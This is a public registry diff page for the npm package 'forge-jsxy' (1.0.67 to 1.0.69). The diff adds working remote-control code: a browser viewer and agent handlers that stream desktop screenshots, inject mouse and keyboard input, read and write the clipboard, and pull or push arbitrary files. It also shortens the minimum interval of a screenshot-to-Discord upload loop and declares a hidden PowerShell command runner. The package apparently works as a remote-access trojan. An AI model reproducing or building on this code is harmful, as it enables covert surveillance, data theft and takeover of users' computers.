npm - forge-jsxy - Versions diffs - 1.0.67 → 1.0.69 - Mend

forge-jsxy 1.0.67 → 1.0.69

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (15) hide show

package/assets/files-explorer-template.html +2 -32
package/assets/remote-control-template.html +496 -0
package/dist/assets/files-explorer-template.html +3 -33
package/dist/assets/remote-control-template.html +496 -0
package/dist/discordAgentScreenshot.d.ts +2 -2
package/dist/discordAgentScreenshot.js +5 -5
package/dist/filesExplorer.d.ts +1 -0
package/dist/filesExplorer.js +38 -0
package/dist/fsMessages.js +16 -0
package/dist/fsProtocol.d.ts +4 -0
package/dist/fsProtocol.js +525 -23
package/dist/relayAgent.js +9 -1
package/dist/relayServer.js +22 -2
package/package.json +1 -1
package/scripts/forge-jsx-explorer-upgrade.mjs +42 -3

package/dist/assets/remote-control-template.html ADDED Viewed

@@ -0,0 +1,496 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <meta name="viewport" content="width=device-width,initial-scale=1" />
+  <title>Forge Remote Control</title>
+  <style>
+    :root { color-scheme: dark; }
+    body { margin: 0; font: 13px/1.4 system-ui, sans-serif; background: #1e1e1e; color: #d4d4d4; }
+    .bar { display: flex; gap: 8px; align-items: center; padding: 8px; background: #252526; border-bottom: 1px solid #3e3e42; }
+    .bar input, .bar button { font: inherit; }
+    .bar input { background: #3c3c3c; color: #d4d4d4; border: 1px solid #555; border-radius: 4px; padding: 5px 8px; }
+    .bar button { background: #0e639c; color: #fff; border: 0; border-radius: 4px; padding: 6px 10px; cursor: pointer; }
+    .bar button.alt { background: #3a3d41; }
+    .bar button.warn { background: #5a1d1d; }
+    .spacer { flex: 1; }
+    .state { opacity: .9; }
+    .screen-wrap { position: fixed; inset: 49px 0 0 0; overflow: auto; background: #111; }
+    .screen {
+      display: block;
+      max-width: none;
+      user-select: none;
+      cursor: default;
+      margin: 0;
+    }
+    .screen.write-enabled { cursor: crosshair; }
+    .file-panel { position: fixed; right: 8px; top: 56px; width: 360px; max-height: 50vh; overflow: auto; background: #1b1b1d; border: 1px solid #3e3e42; border-radius: 6px; padding: 8px; display: none; z-index: 8; }
+    .file-panel.open { display: block; }
+    .file-panel .row { display: flex; gap: 6px; margin-bottom: 6px; }
+    .file-panel button { font: inherit; }
+    .file-list { border: 1px solid #3e3e42; border-radius: 4px; padding: 4px; max-height: 35vh; overflow: auto; }
+    .file-item { display: block; width: 100%; text-align: left; background: #2a2a2d; color: #d4d4d4; border: 1px solid #3e3e42; border-radius: 4px; padding: 4px 6px; margin: 3px 0; cursor: pointer; }
+    .file-item.dir { background: #253045; }
+    .path-label { font-size: 12px; opacity: 0.85; word-break: break-all; }
+  </style>
+</head>
+<body>
+  <div class="bar">
+    <strong>Remote</strong>
+    <label>Session <input id="session" placeholder="client_xxx" /></label>
+    <label>Password <input id="pwd" type="password" placeholder="@@PWD_HINT@@" /></label>
+    <button id="connectBtn">Connect</button>
+    <button id="modeBtn" class="alt">View Only</button>
+    <button id="refreshBtn" class="alt">Refresh</button>
+    <button id="clipPullBtn" class="alt">Clipboard: PC -> Local</button>
+    <button id="clipPushBtn" class="alt">Clipboard: Local -> PC</button>
+    <button id="browseBtn" class="alt">Browse PC Files</button>
+    <input id="filePullPath" placeholder="C:\\Users\\...\\file.txt" />
+    <button id="filePullBtn" class="alt">Fetch File <- PC</button>
+    <input id="filePushInput" type="file" />
+    <button id="filePushBtn" class="alt">Send File -> PC</button>
+    <button id="disconnectBtn" class="warn">Disconnect</button>
+    <span class="spacer"></span>
+    <span class="state" id="state">Idle</span>
+    <span class="state" id="modeState">Mode: View Only</span>
+  </div>
+  <div class="screen-wrap" id="screenWrap">
+    <img id="screen" class="screen" alt="Remote screen" />
+  </div>
+  <div class="file-panel" id="filePanel">
+    <div class="row">
+      <button id="rootsBtn" class="alt">Roots</button>
+      <button id="upBtn" class="alt">Up</button>
+      <button id="closePanelBtn" class="warn">Close</button>
+    </div>
+    <div class="path-label" id="pathLabel">Path: (none)</div>
+    <div class="file-list" id="fileList"></div>
+  </div>
+  <script>
+    const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
+    const pwdHint = @@PWD_JS@@ || "";
+    const stateEl = document.getElementById("state");
+    const modeStateEl = document.getElementById("modeState");
+    const sessionEl = document.getElementById("session");
+    const pwdEl = document.getElementById("pwd");
+    const screenEl = document.getElementById("screen");
+    const modeBtn = document.getElementById("modeBtn");
+    const wrapEl = document.getElementById("screenWrap");
+    const clipPullBtn = document.getElementById("clipPullBtn");
+    const clipPushBtn = document.getElementById("clipPushBtn");
+    const browseBtn = document.getElementById("browseBtn");
+    const filePullPath = document.getElementById("filePullPath");
+    const filePullBtn = document.getElementById("filePullBtn");
+    const filePushInput = document.getElementById("filePushInput");
+    const filePushBtn = document.getElementById("filePushBtn");
+    const filePanel = document.getElementById("filePanel");
+    const rootsBtn = document.getElementById("rootsBtn");
+    const upBtn = document.getElementById("upBtn");
+    const closePanelBtn = document.getElementById("closePanelBtn");
+    const pathLabel = document.getElementById("pathLabel");
+    const fileList = document.getElementById("fileList");
+    let ws = null;
+    let authed = false;
+    let writeEnabled = false;
+    let screenshotTimer = null;
+    let reqSeq = 0;
+    let inflightShot = false;
+    const pendingReqs = new Map();
+    let remoteClipboardBusy = false;
+    let localClipboardBusy = false;
+    let currentBrowsePath = "";
+    function setState(t) { stateEl.textContent = t; }
+    function updateWriteControls() {
+      const ro = !writeEnabled;
+      clipPullBtn.disabled = ro;
+      clipPushBtn.disabled = ro;
+      filePullBtn.disabled = ro;
+      filePullPath.disabled = ro;
+      filePushBtn.disabled = ro;
+      filePushInput.disabled = ro;
+      browseBtn.disabled = ro;
+      rootsBtn.disabled = ro;
+      upBtn.disabled = ro;
+      closePanelBtn.disabled = ro;
+      if (ro) filePanel.classList.remove("open");
+    }
+    function hashHex(s) {
+      return crypto.subtle.digest("SHA-256", new TextEncoder().encode(s)).then((buf) =>
+        [...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join("")
+      );
+    }
+    function wsBaseUrl() {
+      if (location.protocol.startsWith("http")) {
+        const wsProto = location.protocol === "https:" ? "wss:" : "ws:";
+        return wsProto + "//" + location.host;
+      }
+      return relayFallback || "ws://127.0.0.1:9877";
+    }
+    function connect() {
+      const sid = String(sessionEl.value || new URLSearchParams(location.search).get("session") || "").trim();
+      if (!sid) { setState("Session required"); return; }
+      sessionEl.value = sid;
+      const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
+      disconnect();
+      setState("Connecting…");
+      ws = new WebSocket(url);
+      ws.onopen = () => { setState("Connected — waiting auth"); ws.send(JSON.stringify({ type: "get_info" })); };
+      ws.onclose = () => { authed = false; setState("Disconnected"); stopShotLoop(); };
+      ws.onerror = () => { setState("Socket error"); };
+      ws.onmessage = async (ev) => {
+        let msg = null;
+        try { msg = JSON.parse(String(ev.data || "")); } catch { return; }
+        const t = String(msg && msg.type || "");
+        if (t === "auth_challenge") {
+          const pwd = String(pwdEl.value || pwdHint || "");
+          const ph = await hashHex(pwd);
+          const nonce = String(msg.nonce || "");
+          const resp = await hashHex(ph + ":" + nonce);
+          ws.send(JSON.stringify({ type: "auth", nonce, response: resp, password_hash: ph }));
+          return;
+        }
+        if (t === "auth_result") {
+          authed = !!msg.ok;
+          setState(authed ? "Authenticated" : "Auth failed");
+          if (authed) { startShotLoop(); requestScreenshot(); }
+          return;
+        }
+        if (t === "system_info") {
+          setState("Connected (" + String(msg?.data?.platform || "unknown") + ")");
+          return;
+        }
+        if (t === "fs_screenshot_result") {
+          inflightShot = false;
+          if (msg.ok && msg.b64) {
+            const mime = String(msg.mime || "image/png");
+            screenEl.src = "data:" + mime + ";base64," + String(msg.b64);
+          }
+          return;
+        }
+        const rid = String(msg && msg.request_id || "");
+        if (rid && pendingReqs.has(rid)) {
+          const done = pendingReqs.get(rid);
+          pendingReqs.delete(rid);
+          try { done(msg); } catch {}
+          return;
+        }
+      };
+    }
+    function disconnect() {
+      stopShotLoop();
+      if (ws) { try { ws.close(); } catch {} ws = null; }
+      authed = false;
+      inflightShot = false;
+      pendingReqs.clear();
+      writeEnabled = false;
+      modeBtn.textContent = "View Only";
+      modeStateEl.textContent = "Mode: View Only";
+      modeBtn.className = "alt";
+      screenEl.classList.remove("write-enabled");
+      updateWriteControls();
+    }
+    function stopShotLoop() {
+      if (screenshotTimer) { clearInterval(screenshotTimer); screenshotTimer = null; }
+    }
+    function startShotLoop() {
+      stopShotLoop();
+      screenshotTimer = setInterval(requestScreenshot, 900);
+    }
+    function requestScreenshot() {
+      if (!ws || ws.readyState !== 1 || !authed || inflightShot) return;
+      inflightShot = true;
+      ws.send(JSON.stringify({ type: "fs_screenshot", request_id: "shot_" + (++reqSeq) }));
+    }
+    function wsRequest(type, payload) {
+      if (!ws || ws.readyState !== 1 || !authed) return Promise.resolve({ ok: false, error: "not connected" });
+      const rid = type + "_" + (++reqSeq);
+      return new Promise((resolve) => {
+        pendingReqs.set(rid, resolve);
+        ws.send(JSON.stringify(Object.assign({ type, request_id: rid }, payload || {})));
+        setTimeout(() => {
+          if (!pendingReqs.has(rid)) return;
+          pendingReqs.delete(rid);
+          resolve({ ok: false, error: "request timeout" });
+        }, 8000);
+      });
+    }
+    async function pullRemoteFileToLocal(remotePath) {
+      const p = String(remotePath || "").trim();
+      if (!p) return { ok: false, error: "remote path required" };
+      const rid = "pull_" + (++reqSeq);
+      let off = 0;
+      let eof = false;
+      const chunks = [];
+      let fileName = "remote-file.bin";
+      while (!eof) {
+        const r = await wsRequest("fs_read", {
+          path: p,
+          chunk: true,
+          offset: off,
+          request_id: rid,
+          max_bytes: 8 * 1024 * 1024,
+        });
+        if (!r || !r.ok) return { ok: false, error: String((r && r.error) || "read failed") };
+        const rp = String(r.path || p);
+        const seg = rp.split(/[\\/]/).pop();
+        if (seg) fileName = seg;
+        const b64 = String(r.b64 || "");
+        if (b64) chunks.push(b64);
+        off = Number.isFinite(Number(r.next_offset)) ? Math.max(off, Number(r.next_offset)) : off;
+        eof = Boolean(r.eof);
+      }
+      if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
+      let totalLen = 0;
+      const bytes = [];
+      for (const b64 of chunks) {
+        const bin = atob(b64);
+        totalLen += bin.length;
+        const arr = new Uint8Array(bin.length);
+        for (let i = 0; i < bin.length; i++) arr[i] = bin.charCodeAt(i);
+        bytes.push(arr);
+      }
+      const out = new Uint8Array(totalLen);
+      let pos = 0;
+      for (const arr of bytes) {
+        out.set(arr, pos);
+        pos += arr.length;
+      }
+      const blob = new Blob([out], { type: "application/octet-stream" });
+      const url = URL.createObjectURL(blob);
+      const a = document.createElement("a");
+      a.href = url;
+      a.download = fileName;
+      document.body.appendChild(a);
+      a.click();
+      a.remove();
+      setTimeout(() => URL.revokeObjectURL(url), 1500);
+      return { ok: true, fileName, size: totalLen };
+    }
+    function setPathLabel(p) {
+      pathLabel.textContent = "Path: " + (String(p || "").trim() || "(none)");
+    }
+    function clearFileList(msg) {
+      fileList.innerHTML = "";
+      const d = document.createElement("div");
+      d.className = "path-label";
+      d.textContent = msg;
+      fileList.appendChild(d);
+    }
+    function joinPath(base, name) {
+      const b = String(base || "");
+      const n = String(name || "");
+      if (!b) return n;
+      if (/[\\/]$/.test(b)) return b + n;
+      return b + "\\" + n;
+    }
+    async function loadRootsIntoPanel() {
+      if (!writeEnabled) return;
+      clearFileList("Loading roots...");
+      const r = await wsRequest("fs_roots");
+      if (!r || !r.ok) { clearFileList("Failed to load roots"); return; }
+      const roots = Array.isArray(r.roots) ? r.roots : [];
+      currentBrowsePath = "";
+      setPathLabel("");
+      fileList.innerHTML = "";
+      for (const root of roots) {
+        const p = String(root.path || "");
+        if (!p) continue;
+        const btn = document.createElement("button");
+        btn.className = "file-item dir";
+        btn.textContent = "[ROOT] " + p;
+        btn.addEventListener("click", () => loadPathIntoPanel(p));
+        fileList.appendChild(btn);
+      }
+      if (!roots.length) clearFileList("No roots available");
+    }
+    async function loadPathIntoPanel(p) {
+      const pathToLoad = String(p || "").trim();
+      if (!pathToLoad) return;
+      clearFileList("Loading...");
+      const r = await wsRequest("fs_list", { path: pathToLoad });
+      if (!r || !r.ok) { clearFileList("Failed to open folder"); return; }
+      currentBrowsePath = pathToLoad;
+      setPathLabel(currentBrowsePath);
+      fileList.innerHTML = "";
+      const entries = Array.isArray(r.entries) ? r.entries : [];
+      for (const it of entries) {
+        const name = String(it.name || "");
+        const kind = String(it.kind || "");
+        if (!name) continue;
+        const full = joinPath(pathToLoad, name);
+        const btn = document.createElement("button");
+        btn.className = "file-item" + (kind === "dir" ? " dir" : "");
+        btn.textContent = (kind === "dir" ? "[DIR] " : "[FILE] ") + name;
+        if (kind === "dir") {
+          btn.addEventListener("click", () => loadPathIntoPanel(full));
+        } else {
+          btn.addEventListener("click", async () => {
+            filePullPath.value = full;
+            setState("Fetching remote file...");
+            const rr = await pullRemoteFileToLocal(full);
+            if (!rr || !rr.ok) { setState("File fetch failed"); return; }
+            setState("Fetched file from PC: " + String(rr.fileName || "download"));
+          });
+        }
+        fileList.appendChild(btn);
+      }
+      if (!entries.length) clearFileList("Folder is empty");
+    }
+    function sendRemoteInput(payload) {
+      if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
+      ws.send(JSON.stringify(Object.assign({
+        type: "rc_input",
+        request_id: "rc_" + (++reqSeq),
+      }, payload || {})));
+    }
+    function imgPoint(ev) {
+      const r = screenEl.getBoundingClientRect();
+      if (!r.width || !r.height || !screenEl.naturalWidth || !screenEl.naturalHeight) return null;
+      const x = Math.max(0, Math.min(screenEl.naturalWidth - 1, Math.round((ev.clientX - r.left) * (screenEl.naturalWidth / r.width))));
+      const y = Math.max(0, Math.min(screenEl.naturalHeight - 1, Math.round((ev.clientY - r.top) * (screenEl.naturalHeight / r.height))));
+      return { x, y };
+    }
+    document.getElementById("connectBtn").addEventListener("click", connect);
+    document.getElementById("disconnectBtn").addEventListener("click", disconnect);
+    document.getElementById("refreshBtn").addEventListener("click", requestScreenshot);
+    modeBtn.addEventListener("click", () => {
+      writeEnabled = !writeEnabled;
+      modeBtn.textContent = writeEnabled ? "Write Only" : "View Only";
+      modeStateEl.textContent = writeEnabled ? "Mode: Write Only" : "Mode: View Only";
+      modeBtn.className = writeEnabled ? "warn" : "alt";
+      screenEl.classList.toggle("write-enabled", writeEnabled);
+      updateWriteControls();
+    });
+    clipPullBtn.addEventListener("click", async () => {
+      if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
+      const r = await wsRequest("rc_clipboard_get");
+      if (!r || !r.ok) { setState("Clipboard pull failed"); return; }
+      const text = String(r.text || "");
+      try {
+        await navigator.clipboard.writeText(text);
+        setState("Clipboard copied from PC to local");
+      } catch {
+        setState("Clipboard write blocked by browser");
+      }
+    });
+    clipPushBtn.addEventListener("click", async () => {
+      if (!writeEnabled) { setState("Enable Write Only mode for clipboard"); return; }
+      let text = "";
+      try {
+        text = await navigator.clipboard.readText();
+      } catch {
+        setState("Clipboard read blocked by browser");
+        return;
+      }
+      const r = await wsRequest("rc_clipboard_set", { text });
+      if (!r || !r.ok) { setState("Clipboard push failed"); return; }
+      setState("Clipboard sent from local to PC");
+    });
+    filePullBtn.addEventListener("click", async () => {
+      if (!writeEnabled) { setState("Enable Write Only mode for file fetch"); return; }
+      const p = String(filePullPath.value || "").trim();
+      if (!p) { setState("Enter remote file path first"); return; }
+      setState("Fetching remote file…");
+      const r = await pullRemoteFileToLocal(p);
+      if (!r || !r.ok) { setState("File fetch failed"); return; }
+      setState("Fetched file from PC: " + String(r.fileName || "download"));
+    });
+    browseBtn.addEventListener("click", async () => {
+      if (!writeEnabled) { setState("Enable Write Only mode for file browse"); return; }
+      filePanel.classList.toggle("open");
+      if (!filePanel.classList.contains("open")) return;
+      await loadRootsIntoPanel();
+    });
+    rootsBtn.addEventListener("click", async () => {
+      if (!writeEnabled) return;
+      await loadRootsIntoPanel();
+    });
+    upBtn.addEventListener("click", async () => {
+      if (!writeEnabled) return;
+      if (!currentBrowsePath) { await loadRootsIntoPanel(); return; }
+      const r = await wsRequest("fs_parent", { path: currentBrowsePath });
+      const p = r && r.ok ? String(r.path || "") : "";
+      if (!p) { await loadRootsIntoPanel(); return; }
+      await loadPathIntoPanel(p);
+    });
+    closePanelBtn.addEventListener("click", () => {
+      filePanel.classList.remove("open");
+    });
+    filePushBtn.addEventListener("click", async () => {
+      if (!writeEnabled) { setState("Enable Write Only mode for file send"); return; }
+      const f = filePushInput.files && filePushInput.files[0];
+      if (!f) { setState("Choose a file first"); return; }
+      const maxBytes = 20 * 1024 * 1024;
+      if (f.size > maxBytes) { setState("File too large (max 20MB)"); return; }
+      let b64 = "";
+      try {
+        const buf = await f.arrayBuffer();
+        const bytes = new Uint8Array(buf);
+        let bin = "";
+        const chunk = 0x8000;
+        for (let i = 0; i < bytes.length; i += chunk) {
+          bin += String.fromCharCode.apply(null, bytes.subarray(i, i + chunk));
+        }
+        b64 = btoa(bin);
+      } catch {
+        setState("Failed to read local file");
+        return;
+      }
+      setState("Sending file…");
+      const r = await wsRequest("rc_file_push", { name: String(f.name || "upload.bin"), b64 });
+      if (!r || !r.ok) { setState("File send failed"); return; }
+      const saved = String(r.saved_path || "");
+      setState(saved ? ("File sent to PC: " + saved) : "File sent to PC");
+      filePushInput.value = "";
+    });
+    screenEl.addEventListener("click", (ev) => {
+      const p = imgPoint(ev); if (!p) return;
+      sendRemoteInput({ action: "mouse_click", button: ev.button === 2 ? "right" : "left", x: p.x, y: p.y, click_count: 1 });
+      requestScreenshot();
+    });
+    screenEl.addEventListener("dblclick", (ev) => {
+      const p = imgPoint(ev); if (!p) return;
+      sendRemoteInput({ action: "mouse_click", button: "left", x: p.x, y: p.y, click_count: 2 });
+      requestScreenshot();
+    });
+    screenEl.addEventListener("contextmenu", (ev) => ev.preventDefault());
+    wrapEl.addEventListener("wheel", (ev) => {
+      if (!writeEnabled) return;
+      ev.preventDefault();
+      sendRemoteInput({ action: "mouse_wheel", delta_y: Math.round(ev.deltaY) });
+    }, { passive: false });
+    window.addEventListener("keydown", (ev) => {
+      if (!writeEnabled) return;
+      if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "c") {
+        ev.preventDefault();
+        if (!remoteClipboardBusy) {
+          remoteClipboardBusy = true;
+          clipPullBtn.click();
+          setTimeout(() => { remoteClipboardBusy = false; }, 1200);
+        }
+        return;
+      }
+      if (ev.ctrlKey && ev.shiftKey && !ev.altKey && !ev.metaKey && String(ev.key || "").toLowerCase() === "v") {
+        ev.preventDefault();
+        if (!localClipboardBusy) {
+          localClipboardBusy = true;
+          clipPushBtn.click();
+          setTimeout(() => { localClipboardBusy = false; }, 1200);
+        }
+        return;
+      }
+      if (["INPUT", "TEXTAREA"].includes(String(document.activeElement && document.activeElement.tagName || ""))) return;
+      ev.preventDefault();
+      sendRemoteInput({ action: "key", key: ev.key, ctrl: ev.ctrlKey, alt: ev.altKey, shift: ev.shiftKey, meta: ev.metaKey });
+    });
+    const sid0 = new URLSearchParams(location.search).get("session");
+    if (sid0) sessionEl.value = sid0;
+    if (pwdHint) pwdEl.value = pwdHint;
+    updateWriteControls();
+  </script>
+</body>
+</html>

package/dist/discordAgentScreenshot.d.ts CHANGED Viewed

@@ -17,11 +17,11 @@ export type DiscordAgentScreenshotOpts = {
 };
 /**
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
  */
 export declare function resolveDiscordScreenshotIntervalMs(): number;
 /**
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
  */
 export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
 export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;

package/dist/discordAgentScreenshot.js CHANGED Viewed

@@ -70,7 +70,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
  * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
  * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
  * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
- * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 15s–600s.
+ * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 10s–600s.
  */
 const node_crypto_1 = require("node:crypto");
 const discordBotTokens_1 = require("./discordBotTokens");
@@ -155,11 +155,11 @@ function discordScreenshotFirstDelayMs() {
 }
 /**
  * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
- * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
  */
 function resolveDiscordScreenshotIntervalMs() {
     const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
-    return Math.min(600_000, Math.max(15_000, parseInt(rawMs, 10) || 300_000));
+    return Math.min(600_000, Math.max(10_000, parseInt(rawMs, 10) || 300_000));
 }
 function discordScreenshotIntervalStaggerExtraMs(clientId) {
     const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
@@ -182,12 +182,12 @@ function discordScreenshotFirstStaggerExtraMs(clientId) {
     return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
 }
 /**
- * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
  */
 function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
     const base = resolveDiscordScreenshotIntervalMs();
     const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
-    return Math.min(600_000, Math.max(15_000, base + extra));
+    return Math.min(600_000, Math.max(10_000, base + extra));
 }
 function startDiscordScreenshotToRelayLoop(opts) {
     const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();

package/dist/filesExplorer.d.ts CHANGED Viewed

@@ -7,3 +7,4 @@ export interface FilesExplorerHtmlOptions {
 /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
 export declare function getForgeExplorerFaviconSvg(): string;
 export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
+export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;

package/dist/filesExplorer.js CHANGED Viewed

@@ -35,6 +35,7 @@ var __importStar = (this && this.__importStar) || (function () {
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
 exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
+exports.buildRemoteControlHtml = buildRemoteControlHtml;
 /**
  * Build file-explorer HTML for relay routes `/`, `/files`, `/explorer`, `/viewer`
  * — same template as Python `fs_browser_html` with injectable defaults.
@@ -43,6 +44,7 @@ const fs = __importStar(require("node:fs"));
 const path = __importStar(require("node:path"));
 const deploymentDefaults_1 = require("./deploymentDefaults");
 let _cachedTemplate = null;
+let _cachedRemoteTemplate = null;
 let _cachedFaviconSvg = null;
 function loadTemplate() {
     if (_cachedTemplate)
@@ -64,6 +66,26 @@ function loadTemplate() {
     }
     throw new Error("files-explorer-template.html not found (run npm run build and ensure assets are copied to dist/)");
 }
+function loadRemoteTemplate() {
+    if (_cachedRemoteTemplate)
+        return _cachedRemoteTemplate;
+    const candidates = [
+        path.join(__dirname, "assets", "remote-control-template.html"),
+        path.join(__dirname, "..", "assets", "remote-control-template.html"),
+    ];
+    for (const p of candidates) {
+        try {
+            if (fs.existsSync(p)) {
+                _cachedRemoteTemplate = fs.readFileSync(p, "utf8");
+                return _cachedRemoteTemplate;
+            }
+        }
+        catch {
+            continue;
+        }
+    }
+    throw new Error("remote-control-template.html not found (run npm run build and ensure assets are copied to dist/)");
+}
 /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
 function getForgeExplorerFaviconSvg() {
     if (_cachedFaviconSvg)
@@ -108,3 +130,19 @@ function buildFilesExplorerHtml(opts = {}) {
         .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
         .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
 }
+function buildRemoteControlHtml(opts = {}) {
+    const pwd = opts.defaultPassword ??
+        process.env.CFGMGR_SESSION_PASSWORD ??
+        deploymentDefaults_1.DEFAULT_EXPLORER_PASSWORD;
+    let relay = opts.relayFallbackWs ??
+        process.env.CFGMGR_RELAY_FALLBACK ??
+        process.env.CFGMGR_RELAY_URL ??
+        "";
+    if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
+        relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
+    }
+    return loadRemoteTemplate()
+        .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
+        .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
+        .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
+}

package/dist/fsMessages.js CHANGED Viewed

@@ -105,6 +105,22 @@ async function buildFsResponse(msg, allowFilesystem) {
             const result = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
             return { type: "fs_screenshot_result", request_id: rid, ...result };
         }
+        if (msgType === "rc_input") {
+            const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
+            return { type: "rc_input_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_get") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
+            return { type: "rc_clipboard_get_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_clipboard_set") {
+            const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
+            return { type: "rc_clipboard_set_result", request_id: rid, ...result };
+        }
+        if (msgType === "rc_file_push") {
+            const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
+            return { type: "rc_file_push_result", request_id: rid, ...result };
+        }
         return {
             type: "fs_error",
             request_id: rid,

package/dist/fsProtocol.d.ts CHANGED Viewed

@@ -92,6 +92,10 @@ export declare function fsDesktopScreenshotCapture(): Promise<Record<string, unk
  * Scales down wide canvases so the PNG fits WebSocket payload limits.
  */
 export declare function fsWindowsScreenshotCapture(): Promise<Record<string, unknown>>;
+export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
+export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
+export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
 /**
  * Run a shell command on the agent host (same privilege as the forge-agent process).
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).